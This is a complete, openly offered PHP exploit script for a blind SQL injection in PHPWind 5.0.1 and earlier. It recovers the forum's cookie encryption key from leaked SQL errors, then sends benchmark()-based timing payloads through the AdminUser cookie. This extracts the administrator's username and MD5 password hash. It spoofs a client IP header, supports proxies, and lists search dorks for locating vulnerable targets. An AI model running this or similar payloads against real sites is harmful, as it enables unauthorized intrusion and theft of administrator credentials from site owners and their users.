PHPWind <= 5.0.1 (AdminUser) Remote Blind SQL Injection Exploit

                                                <?php
print_r('
---------------------------------------------------------------------------
PHPWind <= 5.0.1 "AdminUser" blind SQL injection exploit
by rgod [email protected]
site: http://retrogod.altervista.org
dorks: "powered by phpwind"
       "powered by phpwind v5.0.1" -site:phpwind.net
---------------------------------------------------------------------------
');
if ($argc<3) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to phpwind
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
 -t[n]:       adjust query timeout (default: 10)
 -b[n]:       adjust the delay for benchmark()
 -e[key]:     specify an encryption key, if you have it
              it is an md5 fragment (18 chars)
Example:
php '.$argv[0].' localhost /phpwind/ -P1.1.1.1:80
php '.$argv[0].' localhost / -p81
php '.$argv[0].' localhost /forum/ -t15 -b20000000
php '.$argv[0].' localhost / -t15 -b20000000
php '.$argv[0].' localhost / -t15 -e298af45091ebcdfbcd
---------------------------------------------------------------------------
');
    die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      return;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$timeout=10;
$proxy="";
$b=200000000;
$e="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-t")
{
  $timeout=(int) str_replace("-t","",$argv[$i]);
}
if ($temp=="-b")
{
  $b=(int) str_replace("-b","",$argv[$i]);
}
if ($temp=="-e")
{
  $e=str_replace("-e","",$argv[$i]);
  if (!is_my_key($e)){
      die("not a valid key...");
  }
  else {
      $GLOBALS['my_fragment']=$e;
  }

}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "please wait...\n";

function StrCode($string,$action='ENCODE'){
	$key	= $GLOBALS['my_fragment'];
	$string	= $action == 'ENCODE' ? $string : base64_decode($string);
	$len	= 18;
	$code	= '';
	for($i=0; $i<strlen($string); $i++){
		$k		= $i % $len;
		$code  .= $string[$i] ^ $key[$k];
	}
	$code = $action == 'DECODE' ? $code : base64_encode($code);
	return $code;
}

function random($length) {
	$hash = '';
	$chars = '0123456789abcdef';
	$max = strlen($chars) - 1;
	mt_srand((double)microtime() * 1000000);
	for($i = 0; $i < $length; $i++) {
		$hash .= $chars[mt_rand(0, $max)];
	}
	return $hash;
}

function is_my_key($fragment)
{
 if (ereg("^[a-f0-9]{18}",trim($fragment))) {return true;}
 else {return false;}
}

//need cookie prefix...
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("lastfid=",$html);
$temp2=explode("Set-Cookie: ",$temp[0]);
$cp=$temp2[1];
echo "cookie prefix -> ".$cp."\n";

if (!$e)
{
//see sql errors... you need a valid key for strcodeii() function,
//so let's ask :)
$tt="\t";for ($i=1; $i<=255; $i++){$tt.=chr($i);}
while (1)
{
    $GLOBALS['my_fragment']=random(18);
    $au=StrCode($tt,"ENCODE");
    $packet ="GET ".$p."admin.php HTTP/1.0\r\n";
    $packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
    $packet.="Host: ".$host."\r\n";
    $packet.="Cookie: ".$cp."AdminUser=".$au.";\r\n";
    $packet.="Accept: text/plain\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);
    $html=html_entity_decode($html);
    $html=str_replace("<br />","",$html);
    if ((eregi("WHERE username='",$html)) and (eregi("You Can Get Help In",$html))){
        $temp=explode("WHERE username='",$html);
        $temp2=explode("'<br>",$temp[1]);
        $decoded=$temp2[0];
        if (strlen($decoded)==255) break;
    }
}

$decoded="\t".$decoded;
$temp = $au;

//calculating key...
$key="";
for ($j=0; $j<18;  $j++){
    for ($i=0; $i<255; $i++){
        $aa="";
        if ($j<>0){
            for ($k=1; $k<=$j; $k++){
                $aa.="a";
            }
        }
        $GLOBALS['my_fragment']=$aa.chr($i);
        $t = StrCode($temp,"DECODE");
        if ($t[$j]==$decoded[$j]){
            $key.=chr($i);
        }
   }
}

if (is_my_key($key)){
    echo "encryption key ->".$key."\n";
    $GLOBALS['my_fragment']=$key;
}
else
{die("unable to retrieve the magic key...");}
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
    for ($i=0; $i<=255; $i++)
    {
        if (in_array($i,$chars))
        {
            //you can use every char because of base64_decode()...so this bypass magic quotes...
            $sql="9999999'/**/OR/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),benchmark(".$b.",char(0)),-1))/**/AND/**/groupid=3/**/LIMIT/**/1/*";
            echo "sql -> ".$sql."\n";
            $packet ="GET ".$p."admin.php HTTP/1.0\r\n";
            $packet.="CLIENT-IP: 1.2.3.4\r\n";
            $packet.="Host: ".$host."\r\n";
            $packet.="Cookie: ".$cp."AdminUser=".StrCode("9999999999\t".$sql,"ENCODE").";\r\n";
            $packet.="Accept: text/plain\r\n";
            $packet.="Connection: Close\r\n\r\n";
            $packet.=$data;
            sendpacketii($packet);
            usleep(2000000);
            $starttime=time();
            echo "starttime -> ".$starttime."\r\n";
            sendpacketii($packet);
            if (eregi("You Can Get Help In",$html)) {
                die($html."\n\n"."debug: you have to modify sql code injected, it seems a different version...");
            }
            $endtime=time();
            echo "endtime -> ".$endtime."\r\n";
            $difftime=$endtime - $starttime;
            echo "difftime -> ".$difftime."\r\n";
            if ($difftime > $timeout) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
        }
        if ($i==255) {
            die("\nExploit failed...");
        }
    }
$j++;
}

$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
    for ($i=0; $i<=255; $i++)
    {
            $sql="9999999'/**/OR/**/(IF((ASCII(SUBSTRING(username,".$j.",1))=".$i."),benchmark(".$b.",char(0)),-1))/**/AND/**/groupid=3/**/LIMIT/**/1/*";
            echo "sql -> ".$sql."\n";
            $packet ="GET ".$p."admin.php HTTP/1.0\r\n";
            $packet.="CLIENT-IP: 1.2.3.4\r\n";
            $packet.="Host: ".$host."\r\n";
            $packet.="Cookie: ".$cp."AdminUser=".StrCode("9999999999\t".$sql,"ENCODE").";\r\n";
            $packet.="Accept: text/plain\r\n";
            $packet.="Connection: Close\r\n\r\n";
            $packet.=$data;
            sendpacketii($packet);
            usleep(2000000);
            $starttime=time();
            echo "starttime -> ".$starttime."\r\n";
            sendpacketii($packet);
            $endtime=time();
            echo "endtime -> ".$endtime."\r\n";
            $difftime=$endtime - $starttime;
            echo "difftime -> ".$difftime."\r\n";
            if ($difftime > $timeout) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;}
        if ($i==255) {
            die("\nExploit failed...");
        }
    }
$j++;
}

function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

if (is_hash($password)) {
    print_r('
--------------------------------------------------------------------------
admin user     -> '.$admin.'
pwd hash (md5) -> '.$password.'
--------------------------------------------------------------------------
');
}
else {
   echo "exploit failed...";
}
?>